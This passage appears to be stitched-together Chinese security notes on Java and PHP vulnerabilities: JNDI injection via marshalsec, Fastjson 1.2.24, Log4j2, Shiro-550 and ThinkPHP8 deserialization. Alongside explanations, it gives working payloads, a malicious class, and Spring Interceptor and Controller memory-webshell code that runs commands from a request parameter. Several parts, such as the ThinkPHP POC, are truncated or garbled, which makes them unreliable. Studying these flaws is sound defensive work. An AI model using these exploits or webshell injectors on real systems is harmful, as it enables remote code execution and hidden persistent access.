        System.out.println("RMI server is running...");
    }
}

将恶意类evil加载并实例化对象，并托管到127.0.0.1:8000以便下载，将恶意引用绑定到 RMI 注册表的 xxx上面，并起一个python http 服务，端口为8000。

接下来写一个test类，用来验证是否能攻击成功。绑定url为rmi://127.0.0.1:1099/xxx

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/xxx");

    }
}

用低版本java1.8运行该代码，成功弹出计算器。

接下来用工具marshalsec开启LDAP服务，pythonweb服务也开启。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099

修改代码JNDITest，并编译运行，成功弹出计算器。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evil");

    }
}

Fastjson1.2.24漏洞原理和JdbcRowSetImpl链

漏洞复现

利用条件：fastjson版本<=1.2.24

攻击方准备

1.恶意代码

还是这个恶意类

import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}

编译好启动一个http服务器，端口8000，

接下来用工具marshalsec开启LDAP服务，pythonweb服务也开启。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099

fastjson代码

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String text = "{\n" +
                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        JSON.parseObject(text);  // 反序列化触发漏洞
    }
}

直接运行，成功弹出计算器。

开始分析链

在这之前，先简单说以下fastjson是怎么工作的。

首先，先写一个Person类。

package org.example;

public class Person {
    private String name;
    private int age;
    public Person(){
        System.out.println("实例化Person");
    }
    public String getName(){ return name;}
    public void setName(String name){
        System.out.println("setName="+ name);
        this.name = name;
    }
    public int getAge(){ return age;}
    public void setAge(int age){
        System.out.println("setAge="+ age);
        this.age = age;
    }

}

然后修改main主函数，使用反射调用输出结果。

package org.example;
import com.alibaba.fastjson.JSON;


public class Main {
    public static void main(String[] args) {
//        String text = "{\n" +
//                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
//                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
//                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
//                "}";
        String text = "{\n" +
                " \"@type\" : \"org.example.Person\",\n" +  // 指定恶意类
                " \"name\" : \"mingming\",\n" +  // 指向攻击者的LDAP服务
                " \"age\" : 32\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        Object o = JSON.parseObject(text);  // 反序列化触发漏洞
        System.out.println(o.getClass().getName());
    }
}

输出为实例化

Person

setName=mingming

setAge=32

com.alibaba.fastjson.JSONObject

fastjson会将json中的key拼接set并将首字母大写，就是setKey，然后去寻找你需要反射的java的类中有没有这个方法，有的话就会把value传进去，实际的话是这么操作的。

根据观察，调用了Person中的无参构造方法Person、setName和setAge，那么我们只需要找到有这么一个类，它的无参构造方法可以被利用，或者说它的setxxx方法里面有恶意代码可以被我们利用就行了。实际上是无参构造方法的话，因为我们不能给它传递值，所以是比较难利用的，那我们就找setxxx方法。

首先先点进去com.sun.rowset.JdbcRowSetImpl这个类。

搜索AutoCommit找到setAutoCommit方法。

看这个判断，没什么东西，看else中的代码 conn = connect();

if(conn != null) {
           conn.setAutoCommit(autoCommit);
        } else {
           // Coming here means the connection object is null.
           // So generate a connection handle internally, since
           // a JdbcRowSet is always connected to a db, it is fine
           // to get a handle to the connection.

           // Get hold of a connection handle
           // and change the autcommit as passesd.
           conn = connect();

           // After setting the below the conn.getAutoCommit()
           // should return the same value.
           conn.setAutoCommit(autoCommit);

        }

看到了lookup，这个参数还可控，就想起了JNDI注入，如何给可控参数getDataSourceName()赋值，我们找一下这个方法。

看得出来可以直接赋值，但是前面还有个条件：

如何让这个conn等于null，我们找这个conn的定义。发现这个conn初始化的时候就是为null，就是无构造参数方法，这样就会走到我们下面的分支，成功利用漏洞。

@type传入的就是我们所需要利用的恶意类，dataSourceName就是要传入ldap恶意注入服务器地址，接下来传入autoCommit，就触发恶意代码了。

不出网利用

TemplatesImpl利用链
Commons-io 写文件/webshell
becl攻击（利用tomcat的BasicDataSource链）

Log4j2漏洞

什么是log4j

log4j是一种在Java中非常流行的日志框架，最新版本为2.下。非常多的开源项目使用该框架记录日志。

漏洞复现

利用条件: 2.0<=log4j<=2.14.1

受害者准备

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        // 触发漏洞（需用户输入控制日志内容）
        logger.error("${jndi:ldap://127.0.0.1:1099/evil}");
    }
}

还是用marshalsec起一个LDAPRefServer。

将之前的evil类编译，在编译好的目录起一个pythonhttpserver。

运行受害者代码，成功弹出计算器。

分析原因

Log4j 2.x 的 lookup 功能允许在日志内容中嵌入 ${prefix:name} 格式的动态表达式，例如读取系统信息：

Shiro550漏洞复现

Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。

漏洞复现

利用条件：Shiro<1.2.4

环境搭建

docker pull medicean/vulapps:s_shiro_1

访问8080端口，进入页面，点击登录，登录成功并抓包。

生成反弹shell payload，先在攻击机启用端口监听：

构造反弹shell payload并base64加密。

启动yso生成攻击，将shell代码填入，选择cc2链，导出shiro550payloaad。

发送payload，成功反弹shell。

漏洞成因

先打开shiro1.2.3这个依赖，idea右键添加为库，就可以解包查看代码。全局搜索rememberMe，找到RememberMeManager

CTRL+H查看谁引用了这个方法，看到CookieRememberMeManager引用了主方法，点击进去。

这段代码是 Apache Shiro 1.2.4 的 CookieRememberMeManager 类，它继承自 AbstractRememberMeManager，专门用于在 Web 环境 下通过 Cookie 实现 RememberMe（记住我） 功能。

存储用户身份（rememberSerializedIdentity）

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    if (!WebUtils.isHttp(subject)) return;  // 非 HTTP 请求直接忽略

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);
    
    String base64 = Base64.encodeToString(serialized);  // 加密后的数据转 Base64
    Cookie cookie = new SimpleCookie(this.getCookie());  // 复制模板 Cookie
    cookie.setValue(base64);  // 设置 Cookie 值
    cookie.saveTo(request, response);  // 写入响应
}

流程：
1. 检查是否是 HTTP 请求（WebUtils.isHttp）。
2. 获取 HttpServletRequest 和 HttpServletResponse。
3. 将加密后的身份数据（byte[]）转为 Base64 字符串。
4. 创建一个新的 Cookie（基于模板），并设置值为 Base64 数据。
5. 通过 cookie.saveTo() 将 Cookie 写入 HTTP 响应。

读取用户身份（getRememberedSerializedIdentity）

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    if (!WebUtils.isHttp(subjectContext)) return null;  // 非 HTTP 请求忽略

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (this.isIdentityRemoved(wsc)) return null;  // 检查是否已手动清除身份

    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    
    String base64 = this.getCookie().readValue(request, response);  // 读取 Cookie 值
    if ("deleteMe".equals(base64)) return null;  // 特殊标记，表示清除 Cookie

    if (base64 != null) {
        base64 = this.ensurePadding(base64);  // 补全 Base64 填充（=）
        byte[] decoded = Base64.decode(base64);  // Base64 解码
        return decoded;  // 返回解密前的数据（后续会解密 + 反序列化）
    }
    return null;
}

通过这个代码发现：

检查是否是 HTTP 请求。
检查是否已手动清除身份（isIdentityRemoved）。
从请求中读取 rememberMe Cookie 的值。
如果值是 "deleteMe"，表示要清除身份。
否则，补全 Base64 填充（=）并解码为 byte[]。
返回的数据会交给父类 AbstractRememberMeManager 解密 + 反序列化。

那么我们就进入到AbstractRememberMeManager类中去。

发现默认编码key kPH+bIxk5D2deZiIxcaaaA==

这段代码是 Apache Shiro 1.2.3 的 AbstractRememberMeManager 类，负责 RememberMe（记住我）功能的实现。它使用 AES 加密存储用户身份信息（如用户名、角色等），并在用户下次访问时自动恢复登录状态。

初始化（构造函数）

public AbstractRememberMeManager() {
    this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);  // 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
}

硬编码 AES 密钥：kPH+bIxk5D2deZiIxcaaaA==（Base64 解码后作为密钥）。
漏洞根源：密钥固定，攻击者可伪造恶意 Cookie。

发现这个文件中引用了getRememberedSerializedIdentity，查看代码

if (bytes != null && bytes.length > 0) {
    principals = this.convertBytesToPrincipals(bytes, subjectContext);
}

判定生效的话会进入convertBytesToPrincipals方法，bytes就是传入的加密字符串。

在这个方法中引用decrypt解密操作，进入decrypt方法。

看到相关解密代码，解密AES代码，解密后将字节数组反序列化为 Java 对象。

解密 + 反序列化（convertBytesToPrincipals）

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    bytes = this.decrypt(bytes);  // AES 解密
    return this.deserialize(bytes);  // 反序列化
}

decrypt()：用相同密钥解密数据。
deserialize()：将字节数组反序列化为 Java 对象（关键漏洞点！）。

总结

SHIRO-550 反序列化漏洞：shiro默认使用了CookieRememberMeManager，

其处理cookie的流程是：得到rememberMe的cookie值-->Base64解码-->AES解

密-->反序列化。AES的密钥是硬编码在代码里，就导致了反序列化的RCE漏洞。

SHIRO-721反序列化漏洞：不需要key，利用PaddingOracle Attack构造出

RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击。

不出网

定位Web目录写入文件
构造回显
内存马
时间延迟获取Web路径写入webshell

有key无链

JRMP协议探测漏洞（需有可用key 可用JRMPClient 可绕过WAF)
springboot actuator 泄露jar包查看是否存在利用链

SpringBoot 项目鉴权的 4 种方式与内存马技术

前言

在 Spring Boot 应用中，我们有多种方式可以实现用户认证和鉴权。本文将详细介绍四种常用的鉴权实现方式：传统 AOP、拦截器 (Interceptor)、参数解析器 (ArgumentResolver) 和过滤器 (Filter)，并结合内存马技术进行分析，特别是 Interceptor 内存马和 Controller 内存马。

传统 AOP

实现：AOP (面向切面编程) 允许我们在方法执行前后添加自定义逻辑，非常适合实现权限校验。

// 1. 创建权限注解
@Target({ElementType.METHOD, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
public @interface RequiresAuth {
    String value() default "";
    String[] roles() default {};
    boolean requireLogin() default true;
}

// 2. 实现 AOP 切面
@Aspect
@Component
public class AuthAspect {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private UserService userService;
    
    @Before("@annotation(requiresAuth)")
    public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
        // 获取请求上下文
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = attributes.getRequest();
        
        // 获取 token
        String token = request.getHeader("Authorization");
        if (requiresAuth.requireLogin()) {
            if (token == null || token.isEmpty()) {
                throw new UnauthorizedException("未提供认证信息");
            }
            
            // 验证 token
            UserInfo userInfo = tokenService.validateToken(token);
            if (userInfo == null) {
                throw new UnauthorizedException("认证信息无效");
            }
            
            // 检查角色权限
            String[] requiredRoles = requiresAuth.roles();
            if (requiredRoles.length > 0) {
                boolean hasRole = false;
                for (String role : requiredRoles) {
                    if (userService.hasRole(userInfo.getId(), role)) {
                        hasRole = true;
                        break;
                    }
                }
                if (!hasRole) {
                    throw new ForbiddenException("权限不足");
                }
            }
            
            // 将用户信息存入请求属性
            request.setAttribute("userInfo", userInfo);
        }
    }
}

// 3. 使用注解
@RestController
@RequestMapping("/api")
public class UserController {
    
    @GetMapping("/public")
    public String publicEndpoint() {
        return "这是公开接口";
    }
    
    @RequiresAuth
    @GetMapping("/user")
    public String userEndpoint() {
        return "这是需要认证的接口";
    }
    
    @RequiresAuth(roles = {"ADMIN"})
    @GetMapping("/admin")
    public String adminEndpoint() {
        return "这是需要管理员权限的接口";
    }
    
    @RequiresAuth(roles = {"USER", "EDITOR"}, value = "hasAnyRole('USER', 'EDITOR')")
    @GetMapping("/content")
    public String contentEndpoint() {
        return "这是需要用户或编辑权限的接口";
    }
}

// 4. 异常处理
@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(UnauthorizedException.class)
    @ResponseStatus(HttpStatus.UNAUTHORIZED)
    public ResponseEntity handleUnauthorized(UnauthorizedException ex) {
        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(ex.getMessage());
    }
    
    @ExceptionHandler(ForbiddenException.class)
    @ResponseStatus(HttpStatus.FORBIDDEN)
    public ResponseEntity handleForbidden(ForbiddenException ex) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body(ex.getMessage());
    }
}

扩展

AOP 方式的扩展性很强，可以：

支持更复杂的权限表达式

结合 SpEL 表达式实现动态权限判断

自定义异常处理

记录详细的权限审计日志

// 扩展 AOP 支持 SpEL 表达式
@Component
public class SecurityExpressionEvaluator {
    
    @Autowired
    private UserService userService;
    
    public boolean hasRole(String role) {
        UserInfo userInfo = getCurrentUser();
        return userInfo != null && userService.hasRole(userInfo.getId(), role);
    }
    
    public boolean hasAnyRole(String... roles) {
        UserInfo userInfo = getCurrentUser();
        if (userInfo == null) return false;
        
        for (String role : roles) {
            if (userService.hasRole(userInfo.getId(), role)) {
                return true;
            }
        }
        return false;
    }
    
    private UserInfo getCurrentUser() {
        ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
        HttpServletRequest request = attributes.getRequest();
        return (UserInfo) request.getAttribute("userInfo");
    }
}

@Aspect
@Component
public class EnhancedAuthAspect {
    
    @Autowired
    private SecurityExpressionEvaluator expressionEvaluator;
    
    @Autowired
    private SpelExpressionParser parser;
    
    @Before("@annotation(requiresAuth)")
    public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
        // 基本验证逻辑...
        
        // 评估 SpEL 表达式
        String expression = requiresAuth.value();
        if (expression != null && !expression.isEmpty()) {
            Expression spelExpression = parser.parseExpression(expression);
            StandardEvaluationContext context = new StandardEvaluationContext(expressionEvaluator);
            
            Boolean result = spelExpression.getValue(context, Boolean.class);
            if (result == null || !result) {
                throw new ForbiddenException("权限表达式验证失败");
            }
        }
    }
}

Interceptor (拦截器)

实现：拦截器工作在 Controller 方法调用前后，可以拦截请求并进行权限验证。

// 1. 创建拦截器
@Component
public class AuthInterceptor implements HandlerInterceptor {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private UserService userService;
    
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        // 如果不是处理方法，则跳过
        if (!(handler instanceof HandlerMethod)) {
            return true;
        }
        
        HandlerMethod handlerMethod = (HandlerMethod) handler;
        Method method = handlerMethod.getMethod();
        
        // 检查是否需要权限验证
        RequiresAuth requiresAuth = method.getAnnotation(RequiresAuth.class);
        if (requiresAuth == null) {
            // 也可以检查类级别的注解
            requiresAuth = handlerMethod.getBeanType().getAnnotation(RequiresAuth.class);
            if (requiresAuth == null) {
                return true; // 不需要验证
            }
        }
        
        // 获取 token
        String token = request.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.setContentType("application/json;charset=UTF-8");
            response.getWriter().write("{\"message\":\"未提供认证信息\"}");
            return false;
        }
        
        // 验证 token
        UserInfo userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.setContentType("application/json;charset=UTF-8");
            response.getWriter().write("{\"message\":\"认证信息无效\"}");
            return false;
        }
        
        // 检查角色权限
        String[] requiredRoles = requiresAuth.roles();
        if (requiredRoles.length > 0) {
            boolean hasRole = false;
            for (String role : requiredRoles) {
                if (userService.hasRole(userInfo.getId(), role)) {
                    hasRole = true;
                    break;
                }
            }
            if (!hasRole) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                response.setContentType("application/json;charset=UTF-8");
                response.getWriter().write("{\"message\":\"权限不足\"}");
                return false;
            }
        }
        
        // 将用户信息存入请求属性
        request.setAttribute("userInfo", userInfo);
        return true;
    }
    
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        // 请求处理后的逻辑，可以用于日志记录等
        if (handler instanceof HandlerMethod) {
            HandlerMethod handlerMethod = (HandlerMethod) handler;
            log.info("请求处理完成: {}.{}", 
                     handlerMethod.getBeanType().getSimpleName(), 
                     handlerMethod.getMethod().getName());
        }
    }
    
    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        // 请求完成后的逻辑，可以用于清理资源等
        if (ex != null) {
            log.error("请求处理异常", ex);
        }
    }
}

// 2. 注册拦截器
@Configuration
public class WebConfig implements WebMvcConfigurer {
    
    @Autowired
    private AuthInterceptor authInterceptor;
    
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(authInterceptor)
                .addPathPatterns("/api/**")
                .excludePathPatterns("/api/public/**", "/login", "/error");
    }
}

Interceptor 内存马

Interceptor 内存马是一种利用 Spring MVC 拦截器机制实现的内存型 WebShell，它通过动态注册恶意拦截器来实现持久化控制。

// 恶意拦截器示例
public class MaliciousInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            // 执行命令
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] bytes = new byte[1024];
            int len;
            while ((len = is.read(bytes)) != -1) {
                response.getOutputStream().write(bytes, 0, len);
            }
            is.close();
            response.getOutputStream().flush();
            response.getOutputStream().close();
            return false; // 终止请求处理
        }
        return true;
    }
}

// 注入内存马的代码
public void injectInterceptorMemshell() {
    try {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 获取 interceptors 字段
        Field interceptorsField = ReflectionUtils.findField(mapping.getClass(), "adaptedInterceptors");
        ReflectionUtils.makeAccessible(interceptorsField);
        
        // 获取当前拦截器列表
        List interceptors = (List) ReflectionUtils.getField(interceptorsField, mapping);
        
        // 检查是否已存在恶意拦截器
        for (HandlerInterceptor interceptor : interceptors) {
            if (interceptor instanceof MaliciousInterceptor) {
                return; // 已存在，不重复注入
            }
        }
        
        // 添加恶意拦截器
        interceptors.add(new MaliciousInterceptor());
        System.out.println("Interceptor 内存马注入成功");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

ArgumentResolver (参数解析器)

实现：参数解析器可以将请求中的认证信息直接注入到控制器方法参数中，使用起来非常方便。

// 1. 创建用户信息注解
@Target(ElementType.PARAMETER)
@Retention(RetentionPolicy.RUNTIME)
public @interface CurrentUser {
    boolean required() default true;
}

// 2. 创建用户信息类
@Data
@AllArgsConstructor
@NoArgsConstructor
public class UserInfo implements Serializable {
    private Long id;
    private String username;
    private String email;
    private List roles;
    private Date lastLoginTime;
    private Map attributes;
    
    public boolean hasRole(String role) {
        return roles != null && roles.contains(role);
    }
}

// 3. 创建参数解析器
@Component
public class CurrentUserArgumentResolver implements HandlerMethodArgumentResolver {
    
    @Autowired
    private TokenService tokenService;
    
    @Override
    public boolean supportsParameter(MethodParameter parameter) {
        return parameter.hasParameterAnnotation(CurrentUser.class) && 
               parameter.getParameterType().equals(UserInfo.class);
    }
    
    @Override
    public Object resolveArgument(MethodParameter parameter, 
                                 ModelAndViewContainer mavContainer, 
                                 NativeWebRequest webRequest, 
                                 WebDataBinderFactory binderFactory) throws Exception {
        HttpServletRequest request = webRequest.getNativeRequest(HttpServletRequest.class);
        
        // 先从请求属性中查找用户信息（可能由拦截器设置）
        UserInfo userInfo = (UserInfo) request.getAttribute("userInfo");
        if (userInfo != null) {
            return userInfo;
        }
        
        // 从请求中获取 token
        String token = request.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
            if (annotation != null && annotation.required()) {
                throw new UnauthorizedException("未提供认证信息");
            }
            return null;
        }
        
        // 验证 token 并获取用户信息
        userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
            if (annotation != null && annotation.required()) {
                throw new UnauthorizedException("认证信息无效");
            }
            return null;
        }
        
        // 将用户信息存入请求属性，避免重复验证
        request.setAttribute("userInfo", userInfo);
        return userInfo;
    }
}

// 4. 注册参数解析器
@Configuration
public class WebConfig implements WebMvcConfigurer {
    
    @Autowired
    private CurrentUserArgumentResolver currentUserArgumentResolver;
    
    @Override
    public void addArgumentResolvers(List resolvers) {
        resolvers.add(currentUserArgumentResolver);
    }
}

// 5. 在控制器中使用
@RestController
@RequestMapping("/api")
public class UserController {
    
    @GetMapping("/profile")
    public ResponseEntity getProfile(@CurrentUser UserInfo userInfo) {
        return ResponseEntity.ok(userInfo);
    }
    
    @GetMapping("/optional-auth")
    public ResponseEntity optionalAuth(@CurrentUser(required = false) UserInfo userInfo) {
        if (userInfo != null) {
            return ResponseEntity.ok("已认证用户: " + userInfo.getUsername());
        } else {
            return ResponseEntity.ok("匿名用户");
        }
    }
    
    @RequiresAuth(roles = {"ADMIN"})
    @GetMapping("/admin/users")
    public ResponseEntity> getAllUsers(@CurrentUser UserInfo admin) {
        // 业务逻辑
        return ResponseEntity.ok(userService.getAllUsers());
    }
}

Filter (过滤器)

实现：过滤器是 Servlet 规范的一部分，在请求到达 DispatcherServlet 之前执行，可以用于全局认证。

// 1. 创建认证过滤器
@Component
public class AuthFilter implements Filter {
    
    @Autowired
    private TokenService tokenService;
    
    @Autowired
    private ObjectMapper objectMapper;
    
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // 初始化逻辑
        log.info("AuthFilter 初始化");
    }
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        // 检查是否是公开路径
        String path = httpRequest.getRequestURI();
        if (isPublicPath(path)) {
            chain.doFilter(request, response);
            return;
        }
        
        // 获取 token
        String token = httpRequest.getHeader("Authorization");
        if (token == null || token.isEmpty()) {
            sendUnauthorizedResponse(httpResponse, "未提供认证信息");
            return;
        }
        
        // 验证 token
        UserInfo userInfo = tokenService.validateToken(token);
        if (userInfo == null) {
            sendUnauthorizedResponse(httpResponse, "认证信息无效");
            return;
        }
        
        // 将用户信息存入请求属性
        httpRequest.setAttribute("userInfo", userInfo);
        
        // 继续过滤器链
        chain.doFilter(request, response);
    }
    
    @Override
    public void destroy() {
        // 销毁逻辑
        log.info("AuthFilter 销毁");
    }
    
    private boolean isPublicPath(String path) {
        return path.startsWith("/api/public") || 
               path.equals("/login") || 
               path.equals("/register") ||
               path.equals("/error") ||
               path.endsWith(".css") ||
               path.endsWith(".js") ||
               path.endsWith(".ico");
    }
    
    private void sendUnauthorizedResponse(HttpServletResponse response, String message) throws IOException {
        response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
        response.setContentType("application/json;charset=UTF-8");
        
        Map result = new HashMap<>();
        result.put("status", 401);
        result.put("message", message);
        result.put("timestamp", new Date());
        
        response.getWriter().write(objectMapper.writeValueAsString(result));
    }
}

// 2. 注册过滤器
@Configuration
public class FilterConfig {
    
    @Bean
    public FilterRegistrationBean authFilter(AuthFilter authFilter) {
        FilterRegistrationBean registrationBean = new FilterRegistrationBean<>();
        registrationBean.setFilter(authFilter);
        registrationBean.addUrlPatterns("/*");
        registrationBean.setOrder(Ordered.HIGHEST_PRECEDENCE + 10);
        registrationBean.setName("authFilter");
        return registrationBean;
    }
}

Controller 内存马

Controller 内存马是通过动态注册 Controller 实现的内存型 WebShell，它利用 Spring MVC 的请求映射机制。

// 恶意 Controller 类
public class MaliciousController {
    @RequestMapping("/shell")
    public void shell(HttpServletRequest request, HttpServletResponse response) throws Exception {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream is = process.getInputStream();
            byte[] bytes = new byte[1024];
            int len;
            while ((len = is.read(bytes)) != -1) {
                response.getOutputStream().write(bytes, 0, len);
            }
            is.close();
            response.getOutputStream().flush();
        }
    }
}

// 注入 Controller 内存马的代码
public void injectControllerMemshell() throws Exception {
    try {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder
            .currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 检查是否已经注册了恶意 Controller
        Field handlerMethodsField = mapping.getClass().getDeclaredField("handlerMethods");
        handlerMethodsField.setAccessible(true);
        Map handlerMethods = (Map) handlerMethodsField.get(mapping);
        
        for (RequestMappingInfo info : handlerMethods.keySet()) {
            if (info.getPatternsCondition().getPatterns().contains("/shell")) {
                return; // 已存在，不重复注入
            }
        }
        
        // 创建恶意 Controller 实例
        MaliciousController controller = new MaliciousController();
        
        // 获取 Controller 中的方法
        Method method = controller.getClass().getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        
        // 创建 RequestMappingInfo
        RequestMappingInfo mappingInfo = RequestMappingInfo
            .paths("/shell")
            .methods(RequestMethod.GET)
            .build();
        
        // 注册 Controller
        mapping.registerMapping(mappingInfo, controller, method);
        System.out.println("Controller 内存马注入成功");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

小结

这四种鉴权方式在 Spring Boot 中的执行顺序为：

1. Filter (过滤器) - 最先执行，在请求到达 DispatcherServlet 之前

2. Interceptor (拦截器) - 在 Controller 方法调用前执行

3. ArgumentResolver (参数解析器) - 在方法参数绑定时执行

4. AOP (切面) - 在方法执行前后执行

内存马技术主要利用了 Spring 框架的动态性和反射机制：

- Interceptor 内存马：利用拦截器注册机制，可以拦截所有请求

- Controller 内存马：利用请求映射注册机制，创建隐蔽的控制入口

在实际应用中，应当结合多种鉴权方式构建深度防御体系，同时加强对框架动态特性的安全管控，防止内存马的注入和利用。

ThinkPHP8反序列化漏洞复现

GowNinng — Tue, 25 Jun 2024 01:15:00 GMT

前言

偶然间，我阅读了《从xctf决赛 ezthink挖掘tp8的反序列化链 - 先知社区》这篇文章，对漏洞从反序列化到命令执行的全过程有了更深入的了解。由于我对这个框架较为熟悉，并且有过PHP开发的经验，还曾挖掘出过该框架的命令执行漏洞，因此决定尝试复现这一过程。

使用工具

一般来说是phpstorm+phpstudy+xdebug，我直接用命令行起一个服务，注意PHP版本必须为8及以上。

php think run -p 9669

安装

composer create-project topthink/think tp

漏洞复现

构造利用链

public function index()
    {
        $c = unserialize(base64_decode($_GET['whoami']));   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }

POC

['p2'=>'whoami']];
    private $withAttr=['p2'=>['p2'=>'system']];
    protected $json=["p2"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;


    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}

$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

运行生成base64的序列化payload，配合利用链代码传入。

然后的话，这里我们一般全局搜索去找魔术方法，根据那篇文章就找destruct魔术方法。

题外话，用反序列化举个例子：

a);
        }
    }

    $get = $_GET["benben"];
    $b = unserialize($get);
    $b->displayVar() ;

?>

//

全局搜索destruct，找到ResourceRegister.php 中的destruct方法。

点击destruct方法中的register方法，进入此方法。

再点击进入parseGroupRule方法，继续往下走。

根据前文提到，首先通过rule中的.来分割成数组，然后把数组的最后一位弹出
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';在这个语句可以调用tostring魔术方法，看看传参 option是我们可以控制的，我们可以传$this->option= ["var" => ["1" => new 要调用的类()]];再配合传参$rule=1.1，将.后面的1弹出来，作为var的键，访问到这个类。接下来就步入进去。

步入到这里，就会引用tostring，点击步入。

让$hasVisible=false

步入getAttr方法。再继续。

